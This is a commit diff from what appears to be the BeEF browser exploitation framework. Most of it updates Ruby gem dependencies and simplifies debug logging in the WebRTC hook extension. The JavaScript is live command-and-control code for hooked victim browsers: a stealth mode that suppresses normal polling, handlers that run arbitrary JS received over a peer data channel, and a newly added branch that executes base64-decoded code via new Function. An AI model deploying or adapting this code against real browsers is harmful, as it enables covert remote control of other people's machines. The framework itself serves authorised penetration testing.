Updated WebRTC extension with AdminUI enhancements and arbitrary command module execution

This commit is contained in:
Christian Frichot
2015-11-27 11:00:35 -08:00
parent 78a30bde15
commit 27c7e76554
20 changed files with 1160 additions and 144 deletions

View File

@@ -1 +1 @@
2.1.5 2.2.3

View File

@@ -3,9 +3,27 @@ GEM
specs: specs:
addressable (2.3.6) addressable (2.3.6)
ansi (1.4.3) ansi (1.4.3)
atk (3.0.7)
glib2 (= 3.0.7)
bundler-audit (0.4.0)
bundler (~> 1.2)
thor (~> 0.18)
cairo (1.14.3)
pkg-config (>= 1.1.5)
capybara (2.5.0)
mime-types (>= 1.16)
nokogiri (>= 1.3.3)
rack (>= 1.0.0)
rack-test (>= 0.5.4)
xpath (~> 2.0)
childprocess (0.5.8)
ffi (~> 1.0, >= 1.0.11)
chunky_png (1.3.5)
curb (0.8.8)
daemons (1.1.9) daemons (1.1.9)
data_objects (0.10.14) data_objects (0.10.14)
addressable (~> 2.1) addressable (~> 2.1)
diff-lcs (1.2.5)
dm-core (1.2.1) dm-core (1.2.1)
addressable (~> 2.3) addressable (~> 2.3)
dm-do-adapter (1.2.0) dm-do-adapter (1.2.0)
@@ -13,77 +31,183 @@ GEM
dm-core (~> 1.2.0) dm-core (~> 1.2.0)
dm-migrations (1.2.0) dm-migrations (1.2.0)
dm-core (~> 1.2.0) dm-core (~> 1.2.0)
dm-serializer (1.2.2)
dm-core (~> 1.2.0)
fastercsv (~> 1.5)
json (~> 1.6)
json_pure (~> 1.6)
multi_json (~> 1.0)
dm-sqlite-adapter (1.2.0) dm-sqlite-adapter (1.2.0)
dm-do-adapter (~> 1.2.0) dm-do-adapter (~> 1.2.0)
do_sqlite3 (~> 0.10.6) do_sqlite3 (~> 0.10.6)
do_sqlite3 (0.10.14) do_sqlite3 (0.10.14)
data_objects (= 0.10.14) data_objects (= 0.10.14)
domain_name (0.5.25)
unf (>= 0.0.5, < 1.0.0)
em-websocket (0.3.8) em-websocket (0.3.8)
addressable (>= 2.1.1) addressable (>= 2.1.1)
eventmachine (>= 0.12.9) eventmachine (>= 0.12.9)
erubis (2.7.0) erubis (2.7.0)
eventmachine (1.0.7) eventmachine (1.0.7)
execjs (2.0.2) execjs (2.0.2)
fastercsv (1.5.5)
ffi (1.9.10)
gdk_pixbuf2 (3.0.7)
glib2 (= 3.0.7)
geoip (1.4.0) geoip (1.4.0)
glib2 (3.0.7)
pkg-config
gtk2 (3.0.7)
atk (= 3.0.7)
gdk_pixbuf2 (= 3.0.7)
pango (= 3.0.7)
hoe (3.14.2)
rake (>= 0.8, < 11.0)
http-cookie (1.0.2)
domain_name (~> 0.5)
jar_wrapper (0.1.8)
zip
json (1.8.1) json (1.8.1)
json_pure (1.8.3)
librex (0.0.68) librex (0.0.68)
libv8 (3.11.8.17) mime-types (2.99)
mini_portile (0.6.2)
mojo_magick (0.5.6)
msfrpc-client (1.0.1) msfrpc-client (1.0.1)
librex (>= 0.0.32) librex (>= 0.0.32)
msgpack (>= 0.4.5) msgpack (>= 0.4.5)
msgpack (0.5.8) msgpack (0.5.8)
multi_json (1.9.3) multi_json (1.9.3)
netrc (0.11.0)
nokogiri (1.6.6.4)
mini_portile (~> 0.6.0)
pango (3.0.7)
cairo (>= 1.14.0)
glib2 (= 3.0.7)
parseconfig (1.0.4) parseconfig (1.0.4)
pkg-config (1.1.6)
power_assert (0.2.6)
qr4r (0.4.0)
mojo_magick
rqrcode
rack (1.5.2) rack (1.5.2)
rack-protection (1.5.3) rack-protection (1.5.3)
rack rack
rack-test (0.6.3)
rack (>= 1.0)
rainbow (2.0.0) rainbow (2.0.0)
ref (1.0.5) rake (10.4.2)
rest-client (1.8.0)
http-cookie (>= 1.0.2, < 2.0)
mime-types (>= 1.16, < 3.0)
netrc (~> 0.7)
rexec (1.6.3) rexec (1.6.3)
rainbow rainbow
rqrcode (0.7.0)
chunky_png
rr (1.1.2)
rspec (3.4.0)
rspec-core (~> 3.4.0)
rspec-expectations (~> 3.4.0)
rspec-mocks (~> 3.4.0)
rspec-core (3.4.1)
rspec-support (~> 3.4.0)
rspec-expectations (3.4.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.4.0)
rspec-mocks (3.4.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.4.0)
rspec-support (3.4.1)
rubydns (0.7.0) rubydns (0.7.0)
eventmachine (~> 1.0.0) eventmachine (~> 1.0.0)
rexec (~> 1.6.2) rexec (~> 1.6.2)
rubyzip (1.1.3) rubyzip (1.1.3)
selenium (0.2.11)
jar_wrapper
selenium-webdriver (2.48.1)
childprocess (~> 0.5)
multi_json (~> 1.0)
rubyzip (~> 1.0)
websocket (~> 1.0)
sinatra (1.4.2) sinatra (1.4.2)
rack (~> 1.5, >= 1.5.2) rack (~> 1.5, >= 1.5.2)
rack-protection (~> 1.4) rack-protection (~> 1.4)
tilt (~> 1.3, >= 1.3.4) tilt (~> 1.3, >= 1.3.4)
term-ansicolor (1.1.5) term-ansicolor (1.1.5)
therubyracer (0.11.3) test-unit (3.1.5)
libv8 (~> 3.11.8.12) power_assert
ref test-unit-full (0.0.3)
test-unit
test-unit-notify
test-unit-rr
test-unit-runner-fox
test-unit-runner-gtk2
test-unit-runner-tk
test-unit-notify (1.0.4)
test-unit (>= 2.4.9)
test-unit-rr (1.0.3)
rr (>= 1.1.1)
test-unit (>= 2.5.2)
test-unit-runner-fox (0.0.1)
hoe (>= 1.6.0)
test-unit-runner-gtk2 (0.0.2)
gtk2
test-unit
test-unit-runner-tk (0.0.1)
hoe (>= 1.6.0)
thin (1.6.2) thin (1.6.2)
daemons (>= 1.0.9) daemons (>= 1.0.9)
eventmachine (>= 1.0.0) eventmachine (>= 1.0.0)
rack (>= 1.0.0) rack (>= 1.0.0)
thor (0.19.1)
tilt (1.4.1) tilt (1.4.1)
uglifier (2.2.1) uglifier (2.2.1)
execjs (>= 0.3.0) execjs (>= 0.3.0)
multi_json (~> 1.0, >= 1.0.2) multi_json (~> 1.0, >= 1.0.2)
unf (0.1.4)
unf_ext
unf_ext (0.0.7.1)
websocket (1.2.2)
xpath (2.0.0)
nokogiri (~> 1.3)
zip (2.0.2)
PLATFORMS PLATFORMS
ruby ruby
DEPENDENCIES DEPENDENCIES
ansi ansi
bundler-audit
capybara
curb
data_objects data_objects
dm-core dm-core
dm-migrations dm-migrations
dm-serializer
dm-sqlite-adapter dm-sqlite-adapter
em-websocket (~> 0.3.6) em-websocket (~> 0.3.6)
erubis erubis
eventmachine (= 1.0.3) eventmachine
execjs
geoip geoip
json json
mime-types
msfrpc-client msfrpc-client
parseconfig parseconfig
rack (= 1.5.2) qr4r
rack
rest-client (~> 1.8.0)
rspec
rubydns (= 0.7.0) rubydns (= 0.7.0)
rubyzip (>= 1.0.0) rubyzip (>= 1.0.0)
sinatra (= 1.4.2) selenium
selenium-webdriver
sinatra
term-ansicolor term-ansicolor
therubyracer (= 0.11.3) test-unit
test-unit-full
thin thin
uglifier (~> 2.2.1) uglifier (~> 2.2.1)
BUNDLED WITH
1.10.6

View File

@@ -98,32 +98,27 @@ Beefwebrtc.prototype.forceTurn = function(jason) {
if (iceServers !== null) { if (iceServers !== null) {
this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers); this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
} }
if (this.verbose) {beef.debug("Got TURN servers, will try and maybestart again..");} beef.debug("Got TURN servers, will try and maybestart again..");
this.turnDone = true; this.turnDone = true;
this.maybeStart(); this.maybeStart();
} }
// Try and establish the RTC connection // Try and establish the RTC connection
Beefwebrtc.prototype.createPeerConnection = function() { Beefwebrtc.prototype.createPeerConnection = function() {
if (this.verbose) { beef.debug('Creating RTCPeerConnnection with the following options:\n' +
beef.debug('Creating RTCPeerConnnection with the following options:\n' + ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' + ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
}
try { try {
// Create an RTCPeerConnection via the polyfill (webrtcadapter.js). // Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints); globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
globalrtc[this.peerid].onicecandidate = this.onIceCandidate; globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
if (this.verbose) { beef.debug('Created RTCPeerConnnection with the following options:\n' +
beef.debug('Created RTCPeerConnnection with the following options:\n' + ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' + ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
}
} catch (e) { } catch (e) {
if (this.verbose) { beef.debug('Failed to create PeerConnection, exception: ');
beef.debug('Failed to create PeerConnection, exception: '); beef.debug(e);
beef.debug(e);
}
return; return;
} }
@@ -144,10 +139,8 @@ Beefwebrtc.prototype.onIceCandidate = function(event) {
} }
} }
if (beefrtcs[peerid].verbose) { beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:"); beef.debug(event);
beef.debug(event);
}
if (event.candidate) { if (event.candidate) {
// Send the candidate to the peer via the BeEF signalling channel // Send the candidate to the peer via the BeEF signalling channel
@@ -158,7 +151,7 @@ Beefwebrtc.prototype.onIceCandidate = function(event) {
// Note this ICE candidate locally // Note this ICE candidate locally
beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate)); beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
} else { } else {
if (beefrtcs[peerid].verbose) {beef.debug('End of candidates.');} beef.debug('End of candidates.');
} }
} }
@@ -166,26 +159,24 @@ Beefwebrtc.prototype.onIceCandidate = function(event) {
// This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage // This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
// against the message directly // against the message directly
Beefwebrtc.prototype.processMessage = function(message) { Beefwebrtc.prototype.processMessage = function(message) {
if (this.verbose) { beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
}
var msg = JSON.parse(message); var msg = JSON.parse(message);
if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
if (this.verbose) {beef.debug('processing the message, as a receiver');} beef.debug('processing the message, as a receiver');
if (msg.type === 'offer') { // This IS an SDP Offer if (msg.type === 'offer') { // This IS an SDP Offer
if (this.verbose) {beef.debug('.. and the message is an offer .. ');} beef.debug('.. and the message is an offer .. ');
this.msgQueue.unshift(msg); // put it on the top of the msgqueue this.msgQueue.unshift(msg); // put it on the top of the msgqueue
this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
} else { // This is NOT an SDP Offer - as the receiver, just add it to the queue } else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
if (this.verbose) {beef.debug(' .. the message is NOT an offer .. ');} beef.debug(' .. the message is NOT an offer .. ');
this.msgQueue.push(msg); this.msgQueue.push(msg);
} }
} else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer } else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
if (this.verbose) {beef.debug('processing the message, as the sender, no answers yet');} beef.debug('processing the message, as the sender, no answers yet');
if (msg.type === 'answer') { // This IS an SDP Answer if (msg.type === 'answer') { // This IS an SDP Answer
if (this.verbose) {beef.debug('.. and we have an answer ..');} beef.debug('.. and we have an answer ..');
this.processSignalingMessage(msg); // Process the message directly this.processSignalingMessage(msg); // Process the message directly
this.gotanswer = true; // We have now received an answer this.gotanswer = true; // We have now received an answer
//process all other queued message... //process all other queued message...
@@ -193,11 +184,11 @@ Beefwebrtc.prototype.processMessage = function(message) {
this.processSignalingMessage(this.msgQueue.shift()); this.processSignalingMessage(this.msgQueue.shift());
} }
} else { // This is NOT an SDP Answer - as the caller, just add it to the queue } else { // This is NOT an SDP Answer - as the caller, just add it to the queue
if (this.verbose) {beef.debug('.. not an answer ..');} beef.debug('.. not an answer ..');
this.msgQueue.push(msg); this.msgQueue.push(msg);
} }
} else { // For all other messages just drop them in the queue } else { // For all other messages just drop them in the queue
if (this.verbose) {beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');} beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');
this.processSignalingMessage(msg); this.processSignalingMessage(msg);
} }
} }
@@ -205,7 +196,7 @@ Beefwebrtc.prototype.processMessage = function(message) {
// Send a signalling message .. // Send a signalling message ..
Beefwebrtc.prototype.sendSignalMsg = function(message) { Beefwebrtc.prototype.sendSignalMsg = function(message) {
var msgString = JSON.stringify(message); var msgString = JSON.stringify(message);
if (this.verbose) {beef.debug('Signalling Message - C->S: ' + msgString);} beef.debug('Signalling Message - C->S: ' + msgString);
beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString}); beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
} }
@@ -219,15 +210,7 @@ Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
// When the signalling state changes. We don't actually do anything with this except log it. // When the signalling state changes. We don't actually do anything with this except log it.
Beefwebrtc.prototype.onSignalingStateChanged = function(event) { Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
var localverbose = false; beef.debug("Signalling has changed to: " + event.target.signalingState);
for (var k in beefrtcs) {
if (beefrtcs[k].verbose === true) {
localverbose = true;
}
}
if (localverbose === true) {beef.debug("Signalling has changed to: " + event.target.signalingState);}
} }
// When the ICE Connection State changes - this is useful to determine connection statuses with peers. // When the ICE Connection State changes - this is useful to determine connection statuses with peers.
@@ -240,7 +223,7 @@ Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
} }
} }
if (beefrtcs[peerid].verbose) {beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);} beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);
// ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for // ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for
// better candidates or connections // better candidates or connections
@@ -283,7 +266,7 @@ Beefwebrtc.prototype.goStealth = function() {
beef.updater.lock = true; beef.updater.lock = true;
this.sendPeerMsg('Going into stealth mode'); this.sendPeerMsg('Going into stealth mode');
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3); setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
} }
// This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it // This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
@@ -294,11 +277,11 @@ rtcpollPeer = function() {
return; return;
} }
if (beefrtcs[rtcstealth].verbose) {beef.debug('lub dub');} beef.debug('lub dub');
beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 3); setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
} }
// When a data channel has been established - within here is the message handling function as well // When a data channel has been established - within here is the message handling function as well
@@ -310,12 +293,12 @@ Beefwebrtc.prototype.onDataChannel = function(event) {
} }
} }
if (beefrtcs[peerid].verbose) {beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");} beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");
rtcrecvchan[peerid] = event.channel; rtcrecvchan[peerid] = event.channel;
// This is the onmessage event handling within the datachannel // This is the onmessage event handling within the datachannel
rtcrecvchan[peerid].onmessage = function(ev2) { rtcrecvchan[peerid].onmessage = function(ev2) {
if (beefrtcs[peerid].verbose) {beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);} beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);
// We've received the command to go into stealth mode // We've received the command to go into stealth mode
if (ev2.data == "!gostealth") { if (ev2.data == "!gostealth") {
@@ -335,22 +318,34 @@ Beefwebrtc.prototype.onDataChannel = function(event) {
// Command to perform arbitrary JS (while stealthed) // Command to perform arbitrary JS (while stealthed)
} else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) { } else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
if (beefrtcs[peerid].verbose) {beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');} beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');
beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1))); beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
// Command to perform arbitrary JS (while NOT stealthed) // Command to perform arbitrary JS (while NOT stealthed)
} else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) { } else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
if (beefrtcs[peerid].verbose) {beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));} beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));
beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1))); beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
// B64d command from the /cmdexec API
} else if (ev2.data.charAt(0) == "@") {
beef.debug('message was a b64d command');
var fn = new Function(atob(ev2.data.substring(1)));
fn();
if (rtcstealth != false) { // force stealth back on ?
beef.updater.execute_commands(); // FORCE execution while stealthed
beef.updater.lock = true;
}
// Just a plain text message .. (while stealthed) // Just a plain text message .. (while stealthed)
} else if (rtcstealth != false) { } else if (rtcstealth != false) {
if (beefrtcs[peerid].verbose) {beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');} beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');
beefrtcs[rtcstealth].sendPeerMsg(ev2.data); beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
// Just a plan text message (while NOT stealthed) // Just a plan text message (while NOT stealthed)
} else { } else {
if (beefrtcs[peerid].verbose) {beef.debug('received a message from peer['+peerid+'] - sending it back to beef');} beef.debug('received a message from peer['+peerid+'] - sending it back to beef');
beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data}); beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
} }
} }
@@ -365,30 +360,30 @@ Beefwebrtc.prototype.execCmd = function(input) {
// Shortcut function to SEND a data messsage // Shortcut function to SEND a data messsage
Beefwebrtc.prototype.sendPeerMsg = function(msg) { Beefwebrtc.prototype.sendPeerMsg = function(msg) {
if (this.verbose) {beef.debug('sendPeerMsg to ' + this.peerid);} beef.debug('sendPeerMsg to ' + this.peerid);
this.dataChannel.send(msg); this.dataChannel.send(msg);
} }
// Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready // Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
Beefwebrtc.prototype.maybeStart = function() { Beefwebrtc.prototype.maybeStart = function() {
if (this.verbose) {beef.debug("maybe starting ... ");} beef.debug("maybe starting ... ");
if (!this.started && this.signalingReady && this.turnDone) { if (!this.started && this.signalingReady && this.turnDone) {
if (this.verbose) {beef.debug('Creating PeerConnection.');} beef.debug('Creating PeerConnection.');
this.createPeerConnection(); this.createPeerConnection();
this.started = true; this.started = true;
if (this.initiator) { if (this.initiator) {
if (this.verbose) {beef.debug("Making the call now .. bzz bzz");} beef.debug("Making the call now .. bzz bzz");
this.doCall(); this.doCall();
} else { } else {
if (this.verbose) {beef.debug("Receiving a call now .. somebuddy answer da fone?");} beef.debug("Receiving a call now .. somebuddy answer da fone?");
this.calleeStart(); this.calleeStart();
} }
} else { } else {
if (this.verbose) {beef.debug("Not ready to start just yet..");} beef.debug("Not ready to start just yet..");
} }
} }
@@ -397,8 +392,8 @@ Beefwebrtc.prototype.doCall = function() {
var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints); var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
var self = this; var self = this;
globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints); globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
if (this.verbose) {beef.debug('Sending offer to peer, with constraints: \n' + beef.debug('Sending offer to peer, with constraints: \n' +
' \'' + JSON.stringify(constraints) + '\'.');} ' \'' + JSON.stringify(constraints) + '\'.');
} }
// Helper method to merge SDP constraints // Helper method to merge SDP constraints
@@ -426,42 +421,28 @@ Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
peerid = beefrtcs[k].peerid; peerid = beefrtcs[k].peerid;
} }
} }
if (beefrtcs[peerid].verbose) {beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");} beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");
globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError); globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
beefrtcs[peerid].sendSignalMsg(sessionDescription); beefrtcs[peerid].sendSignalMsg(sessionDescription);
function onSetSessionDescriptionSuccess() { function onSetSessionDescriptionSuccess() {
if (beefrtcs[peerid].verbose) {beef.debug('Set session description success.');} beef.debug('Set session description success.');
} }
function onSetSessionDescriptionError() { function onSetSessionDescriptionError() {
if (beefrtcs[peerid].verbose) {beef.debug('Failed to set session description');} beef.debug('Failed to set session description');
} }
} }
// If the browser can't build an SDP // If the browser can't build an SDP
Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) { Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
var localverbose = false; beef.debug('Failed to create session description: ' + error.toString());
for (var k in beefrtcs) {
if (beefrtcs[k].verbose === true) {
localverbose = true;
}
}
if (localverbose === true) {beef.debug('Failed to create session description: ' + error.toString());}
} }
// If the browser successfully sets a remote description // If the browser successfully sets a remote description
Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() { Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
var localverbose = false; beef.debug('Set remote session description successfully');
for (var k in beefrtcs) {
if (beefrtcs[k].verbose === true) {
localverbose = true;
}
}
if (localverbose === true) {beef.debug('Set remote session description successfully');}
} }
// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart() // Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
@@ -475,15 +456,15 @@ Beefwebrtc.prototype.calleeStart = function() {
// Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers // Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers
Beefwebrtc.prototype.processSignalingMessage = function(message) { Beefwebrtc.prototype.processSignalingMessage = function(message) {
if (!this.started) { if (!this.started) {
if (this.verbose) {beef.debug('peerConnection has not been created yet!');} beef.debug('peerConnection has not been created yet!');
return; return;
} }
if (message.type === 'offer') { if (message.type === 'offer') {
if (this.verbose) {beef.debug("Processing signalling message: OFFER");} beef.debug("Processing signalling message: OFFER");
if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
// version of FF - which no longer works // version of FF - which no longer works
if (this.verbose) {beef.debug("Moz shim here");} beef.debug("Moz shim here");
globalrtc[this.peerid].setRemoteDescription( globalrtc[this.peerid].setRemoteDescription(
new RTCSessionDescription(message), new RTCSessionDescription(message),
function() { function() {
@@ -518,9 +499,9 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) {
this.doAnswer(); this.doAnswer();
} }
} else if (message.type === 'answer') { } else if (message.type === 'answer') {
if (this.verbose) {beef.debug("Processing signalling message: ANSWER");} beef.debug("Processing signalling message: ANSWER");
if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
if (this.verbose) {beef.debug("Moz shim here");} beef.debug("Moz shim here");
globalrtc[this.peerid].setRemoteDescription( globalrtc[this.peerid].setRemoteDescription(
new RTCSessionDescription(message), new RTCSessionDescription(message),
function() {}, function() {},
@@ -531,7 +512,7 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) {
this.setRemote(message); this.setRemote(message);
} }
} else if (message.type === 'candidate') { } else if (message.type === 'candidate') {
if (this.verbose) {beef.debug("Processing signalling message: CANDIDATE");} beef.debug("Processing signalling message: CANDIDATE");
var candidate = new RTCIceCandidate({sdpMLineIndex: message.label, var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
candidate: message.candidate}); candidate: message.candidate});
this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate)); this.noteIceCandidate("Remote", this.iceCandidateType(message.candidate));
@@ -545,15 +526,11 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) {
Beefwebrtc.prototype.setRemote = function(message) { Beefwebrtc.prototype.setRemote = function(message) {
globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message), globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError); this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
// function onSetRemoteDescriptionSuccess() {
// if (this.verbose) {beef.debug("Set remote session description success.");}
// }
} }
// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below // As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
Beefwebrtc.prototype.doAnswer = function() { Beefwebrtc.prototype.doAnswer = function() {
if (this.verbose) {beef.debug('Sending answer to peer.');} beef.debug('Sending answer to peer.');
globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints); globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);
} }
@@ -570,31 +547,17 @@ Beefwebrtc.prototype.iceCandidateType = function(candidateSDP) {
// Event handler for successful addition of ICE Candidates // Event handler for successful addition of ICE Candidates
Beefwebrtc.prototype.onAddIceCandidateSuccess = function() { Beefwebrtc.prototype.onAddIceCandidateSuccess = function() {
var localverbose = false; beef.debug('AddIceCandidate success.');
for (var k in beefrtcs) {
if (beefrtcs[k].verbose === true) {
localverbose = true;
}
}
if (localverbose === true) {beef.debug('AddIceCandidate success.');}
} }
// Event handler for unsuccessful addition of ICE Candidates // Event handler for unsuccessful addition of ICE Candidates
Beefwebrtc.prototype.onAddIceCandidateError = function(error) { Beefwebrtc.prototype.onAddIceCandidateError = function(error) {
var localverbose = false; beef.debug('Failed to add Ice Candidate: ' + error.toString());
for (var k in beefrtcs) {
if (beefrtcs[k].verbose === true) {
localverbose = true;
}
}
if (localverbose === true) {beef.debug('Failed to add Ice Candidate: ' + error.toString());}
} }
// If a peer hangs up (we bring down the peerconncetion via the stop() method) // If a peer hangs up (we bring down the peerconncetion via the stop() method)
Beefwebrtc.prototype.onRemoteHangup = function() { Beefwebrtc.prototype.onRemoteHangup = function() {
if (this.verbose) {beef.debug('Session terminated.');} beef.debug('Session terminated.');
this.initiator = 0; this.initiator = 0;
// transitionToWaiting(); // transitionToWaiting();
this.stop(); this.stop();

View File

@@ -33,7 +33,7 @@ module API
#NOTE: order counts! make sure you know what you're doing if you add files #NOTE: order counts! make sure you know what you're doing if you add files
esapi = %w(esapi/Class.create.js esapi/jquery-1.6.4.min.js esapi/jquery-encoder-0.1.0.js) esapi = %w(esapi/Class.create.js esapi/jquery-1.6.4.min.js esapi/jquery-encoder-0.1.0.js)
ux = %w(ui/common/beef_common.js ux/PagingStore.js ux/StatusBar.js ux/TabCloseMenu.js) ux = %w(ui/common/beef_common.js ux/PagingStore.js ux/StatusBar.js ux/TabCloseMenu.js)
